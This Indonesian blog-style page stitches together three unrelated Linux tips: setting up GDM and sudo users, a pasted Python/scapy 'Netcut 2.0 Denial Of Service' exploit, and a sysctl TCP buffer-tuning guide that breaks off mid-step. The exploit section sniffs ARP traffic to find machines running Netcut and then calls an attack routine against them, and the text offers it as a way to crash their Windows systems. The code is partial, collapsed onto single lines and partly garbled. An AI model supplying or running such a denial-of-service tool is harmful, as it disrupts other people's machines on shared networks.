2. install pket GDM >>di synaptic seacrh gnome-system-tools kalo udah mark all aja tu or cekntang gnome-system-tools aja... hehhe
3. Buka login screen dengan cara >>> menu System -->> Administration -->> login screen
4. pilih adduser >>> nah ntr ini dah prom Creat New User
5 . oke, skarang kita udah punya user baru, atur user tersebut agar memiliki hak akses administratif dengan memasukkannya ke dalam group "sudo". Pilih user yang dikehendaki lalu tekan tombol "Manage Groups". Pada jendela "Groups settings" cari group bernama"sudo" lalu tekan tombol "Properties". Pada jendela "Group 'sudo' Properties" centang nama user untuk memasukkan user yang Anda inginkan ke dalam "Group Members" sudo, tekan "OK" lalau tutup semua jendela pengaturan user dan group...
6. buka terminal --> ketik gedit /etc/rc.local klo udah Sisipkan baris perintah "service gdm start" tepat di atas baris "exit 0"
service gdm start
exit 0
lalu save
Untuk ganti background GDM nya masuk ke /usr/share/wallpapers < lalu set wallpapernya
"Netcut 2.0 Denial Of Service" atau bisa juga disebut Netcut Killer Buat yang sering di cut cut ama netcut si windows pake aja tools ini, dijamin windowsnya blank hik-hik..
#!/usr/bin/env python #Exploit Title: Netcut Denial of Service Vulnerability #Author: MaYaSeVeN #Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com) #Blog: http://mayaseven.blogspot.com #PoC: Video http://www.youtube.com/user/mayaseven #Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png #Version: Netcut 2 #Software Link: http://www.mediafire.com/?jiiyq2wcpp41266 #Tested on: Windows Xp, Windows 7 #Greetz : ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf import commands,os,sys
#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2] gw_ip = commands.getoutput("ip route list | grep default").split()[2] def protect(gw_ip,gw_mac): os.popen("arp -s %s %s" %(gw_ip,gw_mac)) print "Protected himself" def detect(): ans = sniff(filter='arp',timeout=7) target=[] for r in ans.res: target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%")) return target
def preattack(gw_ip): num = [] count = 0 target = 0 temp = 0 print "Detecting..." d = detect() for i in range(len(d)): if d[i].split()[0] == "255.255.255.255": num.append(d.count(d[i])) if d.count(d[i]) > count: count = d.count(d[i]) target = i if d[i].split()[0] == gw_ip: temp += 1 if len(d) < 7: print "[-] No one use Netcut or try again" exit() if len(num)*7 < temp: num[:] = [] count = 0 result = float(temp)/len(d)*100 for j in range(len(d)): if d[i].split()[0] == gw_ip: num.append(d.count(d[j])) if d.count(d[i]) > count: count = d.count(d[i]) target = i num.reverse() result = float(temp)/len(d)*100 print target else: num.reverse() result = float(num[0]+temp)/len(d)*100 print "There is a possibility that " + str(result) + "%" if result>= 50: target_mac = d[target].split()[1] target_ip = d[target].split()[2] print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac) attack(target_mac,target_ip,gw_ip) else: print "[-] No one use Netcut or try again"
1. Buka Terminal : Application -> Accessories -> Terminal 2. Buka file sysclt.conf dengan cara ketik :
sudo gedit /etc/sysctl.conf
3. Copy teks dibawah ini lalu pastekan pada baris terakhir sysctl.conf
# increase TCP max buffer size setable using setsockopt() net.core.rmem_max = 16777216 net.core.wmem_max = 16777216 # increase Linux autotuning TCP buffer limits # min, default, and max number of bytes to use # set max to at least 4MB, or higher if you use very high BDP paths net.ipv4.tcp_rmem = 4096 87380 16777216 net.ipv4.tcp_wmem = 4096 65536 16777216 # don't cache ssthresh from previous connection net.ipv4.tcp_no_metrics_save = 1 net.ipv4.tcp_moderate_rcvbuf = 1 # recommended to increase this for 1000 BT or higher net.core.netdev_max_backlog = 2500 # for 10 GigE, use this, uncomment below # net.core.netdev_max_backlog = 30000 # Turn off timestamps if you're on a gigabit or very busy network # Having it off is one less thing the IP stack needs to work on #net.ipv4.tcp_timestamps = 0 # disable tcp selective acknowledgements. net.ipv4.tcp_sack = 0 #enable window scaling net.ipv4.tcp_window_scaling = 1
4. Simpan hasil editan diatas dengan cara tekan keyboard Ctrl + S, kemudian tekan Alt + F4 untuk keluar 5. Aktifkan settingan diatas dengan cara ketik :
sudo sysctl -p
Test kecepatan koneksi internet Anda via http://www.speedtest.net Untuk menonaktifkan settingan diatas, hapus semua baris seperti pada langkah ke 2 di sysctl.conf, ketik :
